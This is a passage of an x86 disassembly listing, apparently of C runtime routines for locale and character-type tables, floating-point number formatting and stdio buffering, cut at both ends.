		jmp	short loc_41C184
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41BFFC+51j
		cmp	dword_515908, ebx
		jz	short loc_41C18D


loc_41C17F:				; CODE XREF: sub_41BFFC+27j
		call	sub_41C212


loc_41C184:				; CODE XREF: sub_41BFFC+131j
					; sub_41BFFC+179j
		call	sub_41C23B


loc_41C189:				; CODE XREF: sub_41BFFC+1Dj
		xor	eax, eax
		jmp	short loc_41C190
; ---------------------------------------------------------------------------


loc_41C18D:				; CODE XREF: sub_41BFFC+181j
		or	eax, 0FFFFFFFFh


loc_41C190:				; CODE XREF: sub_41BFFC+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BFFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C195	proc near		; CODE XREF: sub_41BFFC+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_515908, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_41C1B5
		mov	dword_515908, 1
		nop
		jmp	near ptr 7C8127A7h
; ---------------------------------------------------------------------------


loc_41C1B5:				; CODE XREF: sub_41C195+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_41C1CA
		mov	dword_515908, 1
		nop
		jmp	near ptr 7C809915h
; ---------------------------------------------------------------------------


loc_41C1CA:				; CODE XREF: sub_41C195+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_41C1DE
		mov	eax, dword_5158FC
		mov	dword_515908, 1

locret_41C1DE:				; CODE XREF: sub_41C195+38j
		retn
sub_41C195	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1DF	proc near		; CODE XREF: sub_41BFFC+118p
					; sub_41BFFC+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_41C20C
		sub	eax, 4
		jz	short loc_41C206
		sub	eax, 0Dh
		jz	short loc_41C200
		dec	eax
		jz	short loc_41C1FA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C1FA:				; CODE XREF: sub_41C1DF+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_41C200:				; CODE XREF: sub_41C1DF+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_41C206:				; CODE XREF: sub_41C1DF+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_41C20C:				; CODE XREF: sub_41C1DF+9j
		mov	eax, 411h
		retn
sub_41C1DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C212	proc near		; CODE XREF: sub_41BFFC:loc_41C17Fp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_516DA0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_516C90
		mov	dword_516C84, eax
		mov	dword_516C9C, eax
		mov	dword_516EA4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_41C212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C23B	proc near		; CODE XREF: sub_41BFFC:loc_41C184p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_516C84
		nop
		call	near ptr 7C812E76h
		cmp	eax, 1
		jnz	loc_41C374
		xor	eax, eax
		mov	esi, 100h


loc_41C265:				; CODE XREF: sub_41C23B+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_41C265
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_41C2B6
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_41C284:				; CODE XREF: sub_41C23B+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_41C2AB
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_41C2AB:				; CODE XREF: sub_41C23B+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_41C284
		pop	edi
		pop	ebx


loc_41C2B6:				; CODE XREF: sub_41C23B+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_516EA4
		push	dword_516C84
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_41D6F3
		push	0
		lea	eax, [ebp+var_214]
		push	dword_516C84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_516EA4
		call	sub_41BC2B
		push	0
		lea	eax, [ebp+var_314]
		push	dword_516C84
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_516EA4
		call	sub_41BC2B
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_41C331:				; CODE XREF: sub_41C23B+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_41C34F
		or	byte_516DA1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_41C347:				; CODE XREF: sub_41C23B+127j
		mov	byte_516CA0[eax], dl
		jmp	short loc_41C36B
; ---------------------------------------------------------------------------


loc_41C34F:				; CODE XREF: sub_41C23B+FCj
		test	dl, 2
		jz	short loc_41C364
		or	byte_516DA1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_41C347
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C23B+117j
		and	byte_516CA0[eax], 0


loc_41C36B:				; CODE XREF: sub_41C23B+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_41C331
		jmp	short loc_41C3BD
; ---------------------------------------------------------------------------


loc_41C374:				; CODE XREF: sub_41C23B+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_41C37B:				; CODE XREF: sub_41C23B+180j
		cmp	eax, 41h
		jb	short loc_41C399
		cmp	eax, 5Ah
		ja	short loc_41C399
		or	byte_516DA1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_41C391:				; CODE XREF: sub_41C23B+174j
		mov	byte_516CA0[eax], cl
		jmp	short loc_41C3B8
; ---------------------------------------------------------------------------


loc_41C399:				; CODE XREF: sub_41C23B+143j
					; sub_41C23B+148j
		cmp	eax, 61h
		jb	short loc_41C3B1
		cmp	eax, 7Ah
		ja	short loc_41C3B1
		or	byte_516DA1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_41C391
; ---------------------------------------------------------------------------


loc_41C3B1:				; CODE XREF: sub_41C23B+161j
					; sub_41C23B+166j
		and	byte_516CA0[eax], 0


loc_41C3B8:				; CODE XREF: sub_41C23B+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_41C37B


loc_41C3BD:				; CODE XREF: sub_41C23B+137j
		pop	esi
		leave
		retn
sub_41C23B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3C0	proc near		; CODE XREF: ___:0041CBD8p
					; ___:0041CC34p ...
		cmp	dword_516ECC, 0
		jnz	short locret_41C3DB
		push	0FFFFFFFDh
		call	sub_41BFFC
		pop	ecx
		mov	dword_516ECC, 1

locret_41C3DB:				; CODE XREF: sub_41C3C0+7j
		retn
sub_41C3C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3DC	proc near		; CODE XREF: sub_418AA8+2Bp
					; sub_418AA8+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_516C9C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_41C400
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_4182F0
		add	esp, 0Ch
		jmp	short loc_41C463
; ---------------------------------------------------------------------------


loc_41C400:				; CODE XREF: sub_41C3DC+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_41C445
		mov	ecx, [ebp+arg_4]


loc_41C40B:				; CODE XREF: sub_41C3DC+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_516DA1[esi], 4
		mov	[edi], al
		jz	short loc_41C42F
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_41C43B
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C441
		jmp	short loc_41C435
; ---------------------------------------------------------------------------


loc_41C42F:				; CODE XREF: sub_41C3DC+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_41C445


loc_41C435:				; CODE XREF: sub_41C3DC+51j
		test	edx, edx
		jnz	short loc_41C40B
		jmp	short loc_41C445
; ---------------------------------------------------------------------------


loc_41C43B:				; CODE XREF: sub_41C3DC+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_41C445
; ---------------------------------------------------------------------------


loc_41C441:				; CODE XREF: sub_41C3DC+4Fj
		and	byte ptr [edi-2], 0


loc_41C445:				; CODE XREF: sub_41C3DC+2Aj
					; sub_41C3DC+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_41C460
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_41C460:				; CODE XREF: sub_41C3DC+6Fj
		mov	eax, [ebp+arg_0]


loc_41C463:				; CODE XREF: sub_41C3DC+22j
		pop	edi
		pop	ebp
		retn
sub_41C3DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C466	proc near		; CODE XREF: sub_418D5F+Fp
		push	30000h
		push	10000h
		call	sub_41E764
		pop	ecx
		pop	ecx
		retn
sub_41C466	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C478	proc near		; CODE XREF: sub_41C4B6:loc_41C4DAj

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_4216D0
		fstp	[ebp+var_8]
		fld	dbl_4216C8
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4216C0
		fnstsw	ax
		sahf
		jbe	short loc_41C4B2
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C4B2:				; CODE XREF: sub_41C478+33j
		xor	eax, eax
		leave
		retn
sub_41C478	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4B6	proc near		; CODE XREF: sub_418D5F+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 7C80B6A1h
		test	eax, eax
		jz	short loc_41C4DA
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 7C80ADA0h
		test	eax, eax
		jz	short loc_41C4DA
		push	0
		call	eax
		retn
; ---------------------------------------------------------------------------


loc_41C4DA:				; CODE XREF: sub_41C4B6+Dj
					; sub_41C4B6+1Dj
		jmp	sub_41C478
sub_41C4B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4DF	proc near		; CODE XREF: sub_419343+3CBp
					; DATA XREF: sub_418D77+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_4187E1
		cmp	eax, 65h
		pop	ecx
		jz	short loc_41C51F


loc_41C4F3:				; CODE XREF: sub_41C4DF+3Ej
		inc	esi
		cmp	dword_43B7AC, 1
		jle	short loc_41C50C
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_419B4D
		pop	ecx
		pop	ecx
		jmp	short loc_41C51B
; ---------------------------------------------------------------------------


loc_41C50C:				; CODE XREF: sub_41C4DF+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43B5A0
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41C51B:				; CODE XREF: sub_41C4DF+2Bj
		test	eax, eax
		jnz	short loc_41C4F3


loc_41C51F:				; CODE XREF: sub_41C4DF+12j
		mov	cl, byte_43B7B0
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_41C52A:				; CODE XREF: sub_41C4DF+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41C52A
		pop	esi
		retn
sub_41C4DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C539	proc near		; CODE XREF: sub_419343+3E2p
					; DATA XREF: sub_418D77+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43B7B0
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C555


loc_41C549:				; CODE XREF: sub_41C539+1Aj
		cmp	cl, dl
		jz	short loc_41C555
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_41C549


loc_41C555:				; CODE XREF: sub_41C539+Ej
					; sub_41C539+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_41C586


loc_41C55C:				; CODE XREF: sub_41C539+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41C56F
		cmp	cl, 65h
		jz	short loc_41C56F
		cmp	cl, 45h
		jz	short loc_41C56F
		inc	eax
		jmp	short loc_41C55C
; ---------------------------------------------------------------------------


loc_41C56F:				; CODE XREF: sub_41C539+27j
					; sub_41C539+2Cj ...
		mov	ecx, eax


loc_41C571:				; CODE XREF: sub_41C539+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41C571
		cmp	[eax], dl
		jnz	short loc_41C57C
		dec	eax


loc_41C57C:				; CODE XREF: sub_41C539+40j
					; sub_41C539+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_41C57C

locret_41C586:				; CODE XREF: sub_41C539+21j
		retn
sub_41C539	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C587	proc near		; DATA XREF: sub_418D77+28o
					; ___:off_43B8D8o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_421700
		fnstsw	ax
		sahf
		jb	short loc_41C59C
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41C59C:				; CODE XREF: sub_41C587+Fj
		xor	eax, eax
		retn
sub_41C587	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59F	proc near		; CODE XREF: sub_41A824+430p
					; DATA XREF: sub_418D77+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_41C5C8
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41EC27
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C5C8:				; CODE XREF: sub_41C59F+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41EC54
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_41C59F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5DD	proc near		; CODE XREF: sub_41C85A+17p
					; sub_41C8A4+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_515910, 0
		push	ebx
		push	esi
		jz	short loc_41C612
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_51590C
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41C8F5
		pop	ecx
		pop	ecx
		jmp	short loc_41C64A
; ---------------------------------------------------------------------------


loc_41C612:				; CODE XREF: sub_41C5DD+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_41ECF8
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_41EC81
		add	esp, 14h


loc_41C64A:				; CODE XREF: sub_41C5DD+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_41C656
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_41C656:				; CODE XREF: sub_41C5DD+73j
		test	ebx, ebx
		jle	short loc_41C66E
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43B7B0
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_41C66E:				; CODE XREF: sub_41C5DD+7Bj
		xor	ecx, ecx
		push	offset dword_421708
		cmp	byte_515910, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_417A00
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_41C695
		mov	byte ptr [ecx],	45h


loc_41C695:				; CODE XREF: sub_41C5DD+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_41C6DA
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_41C6A9
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_41C6A9:				; CODE XREF: sub_41C5DD+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_41C6C0
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41C6C0:				; CODE XREF: sub_41C5DD+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41C6D7
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_41C6D7:				; CODE XREF: sub_41C5DD+E7j
		add	[ecx+1], bl


loc_41C6DA:				; CODE XREF: sub_41C5DD+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C5DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C6E1	proc near		; CODE XREF: sub_41C881+13p
					; sub_41C8A4+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_515910, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41C71C
		mov	eax, dword_515914
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_51590C
		cmp	eax, ebx
		jnz	short loc_41C74C
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41C74C
; ---------------------------------------------------------------------------


loc_41C71C:				; CODE XREF: sub_41C6E1+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41ECF8
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41EC81
		add	esp, 14h


loc_41C74C:				; CODE XREF: sub_41C6E1+22j
					; sub_41C6E1+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41C75A
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_41C75A:				; CODE XREF: sub_41C6E1+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41C771
		push	1
		push	edi
		call	sub_41C8F5
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41C773
; ---------------------------------------------------------------------------


loc_41C771:				; CODE XREF: sub_41C6E1+7Ej
		add	edi, eax


loc_41C773:				; CODE XREF: sub_41C6E1+8Ej
		test	ebx, ebx
		jle	short loc_41C7B8
		push	1
		push	edi
		call	sub_41C8F5
		mov	al, byte_43B7B0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41C7B8
		cmp	byte_515910, 0
		jz	short loc_41C79D
		neg	esi
		jmp	short loc_41C7A3
; ---------------------------------------------------------------------------


loc_41C79D:				; CODE XREF: sub_41C6E1+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41C7A5


loc_41C7A3:				; CODE XREF: sub_41C6E1+BAj
		mov	ebx, esi


loc_41C7A5:				; CODE XREF: sub_41C6E1+C0j
		push	ebx
		push	edi
		call	sub_41C8F5
		push	ebx
		push	30h
		push	edi
		call	sub_417430
		add	esp, 14h


loc_41C7B8:				; CODE XREF: sub_41C6E1+94j
					; sub_41C6E1+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C6E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C7BF	proc near		; CODE XREF: sub_41C8A4+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41ECF8
		mov	dword_51590C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_515914, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41EC81
		mov	eax, dword_51590C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_515914, ecx
		setl	cl
		mov	byte_515918, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_515914, eax
		jl	short loc_41C845
		cmp	eax, ebx
		jge	short loc_41C845
		test	cl, cl
		jz	short loc_41C836


loc_41C82C:				; CODE XREF: sub_41C7BF+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41C82C
		and	[esi-2], al


loc_41C836:				; CODE XREF: sub_41C7BF+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41C881
		add	esp, 0Ch
		jmp	short loc_41C855
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+63j
					; sub_41C7BF+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41C85A
		add	esp, 10h


loc_41C855:				; CODE XREF: sub_41C7BF+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C85A	proc near		; CODE XREF: sub_41C7BF+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_515910, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C5DD
		and	byte_515910, 0
		add	esp, 10h
		retn
sub_41C85A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C881	proc near		; CODE XREF: sub_41C7BF+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_515910, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41C6E1
		and	byte_515910, 0
		add	esp, 0Ch
		retn
sub_41C881	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C8A4	proc near		; CODE XREF: sub_419343+3AAp
					; DATA XREF: sub_418D77o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41C8DF
		cmp	[ebp+arg_8], 45h
		jz	short loc_41C8DF
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41C8CC
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C6E1
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C8CC:				; CODE XREF: sub_41C8A4+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C7BF
		jmp	short loc_41C8F0
; ---------------------------------------------------------------------------


loc_41C8DF:				; CODE XREF: sub_41C8A4+7j
					; sub_41C8A4+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41C5DD


loc_41C8F0:				; CODE XREF: sub_41C8A4+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41C8A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C8F5	proc near		; CODE XREF: sub_41C5DD+2Cp
					; sub_41C6E1+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41C918
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_417AF0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D840
		add	esp, 10h
		pop	esi


loc_41C918:				; CODE XREF: sub_41C8F5+7j
		pop	edi
		retn
sub_41C8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C91A	proc near		; CODE XREF: sub_418DAF+16p
					; sub_41906C+1Dp ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_515888, ecx
		mov	eax, offset dword_43B8E0


loc_41C92B:				; CODE XREF: sub_41C91A+1Ej
		cmp	ecx, [eax]
		jz	short loc_41C94F
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43BA48
		jl	short loc_41C92B
		cmp	ecx, 13h
		jb	short loc_41C95C
		cmp	ecx, 24h
		ja	short loc_41C95C
		mov	dword_515884, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_41C94F:				; CODE XREF: sub_41C91A+13j
		mov	eax, dword_43B8E4[edx*8]
		mov	dword_515884, eax
		retn
; ---------------------------------------------------------------------------


loc_41C95C:				; CODE XREF: sub_41C91A+23j
					; sub_41C91A+28j
		cmp	ecx, 0BCh
		jb	short loc_41C976
		cmp	ecx, 0CAh
		mov	dword_515884, 8
		jbe	short locret_41C980


loc_41C976:				; CODE XREF: sub_41C91A+48j
		mov	dword_515884, 16h

locret_41C980:				; CODE XREF: sub_41C91A+5Aj
		retn
sub_41C91A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C981	proc near		; CODE XREF: sub_419096+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41D5AC
		test	eax, eax
		pop	ecx
		jz	short loc_41CA0A
		cmp	esi, offset dword_43BB98
		jnz	short loc_41C99F
		xor	eax, eax
		jmp	short loc_41C9AA
; ---------------------------------------------------------------------------


loc_41C99F:				; CODE XREF: sub_41C981+18j
		cmp	esi, offset dword_43BBB8
		jnz	short loc_41CA0A
		push	1
		pop	eax


loc_41C9AA:				; CODE XREF: sub_41C981+1Cj
		inc	dword_515A34
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_41CA0A
		cmp	dword_51591C[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:51591Ch[eax*4]
		mov	ebx, 1000h
		jnz	short loc_41C9F0
		push	ebx
		call	sub_417BEE
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_41C9F0
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_41C9FD
; ---------------------------------------------------------------------------


loc_41C9F0:				; CODE XREF: sub_41C981+4Dj
					; sub_41C981+5Aj
